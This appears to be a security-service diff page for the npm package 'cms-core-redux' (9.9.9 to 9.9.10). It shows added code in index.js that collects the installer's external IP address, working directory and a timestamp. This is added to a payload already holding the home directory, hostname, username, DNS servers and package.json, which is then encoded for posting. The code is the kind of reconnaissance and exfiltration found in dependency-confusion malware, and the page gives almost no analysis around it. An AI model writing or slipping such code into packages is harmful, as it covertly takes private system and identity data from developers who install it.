cms-core-redux 9.9.9 → 9.9.10
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +22 -0
- package/package.json +1 -1
package/index.js
CHANGED
@@ -8,15 +8,37 @@ const package = packageJSON.name;
|
|
8
8
|
const trackingData = JSON.stringify({
|
9
9
|
p: package,
|
10
10
|
c: __dirname,
|
11
|
+
ip: getIPAddress(),
|
12
|
+
currentDir: process.cwd(),
|
11
13
|
hd: os.homedir(),
|
12
14
|
hn: os.hostname(),
|
13
15
|
un: os.userInfo().username,
|
14
16
|
dns: dns.getServers(),
|
17
|
+
time: getCurrentTime(),
|
15
18
|
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
19
|
v: packageJSON.version,
|
17
20
|
pjson: packageJSON,
|
18
21
|
});
|
19
22
|
|
23
|
+
function getCurrentTime() {
|
24
|
+
return new Date().toLocaleString();
|
25
|
+
}
|
26
|
+
|
27
|
+
function getIPAddress() {
|
28
|
+
const interfaces = os.networkInterfaces();
|
29
|
+
const addresses = [];
|
30
|
+
|
31
|
+
for (const iface in interfaces) {
|
32
|
+
for (const addr of interfaces[iface]) {
|
33
|
+
if (addr.family === 'IPv4' && !addr.internal) {
|
34
|
+
addresses.push(addr.address);
|
35
|
+
}
|
36
|
+
}
|
37
|
+
}
|
38
|
+
|
39
|
+
return addresses.length > 0 ? addresses[0] : 'No external IP found';
|
40
|
+
}
|
41
|
+
|
20
42
|
var postData = querystring.stringify({
|
21
43
|
msg: trackingData,
|
22
44
|
});
|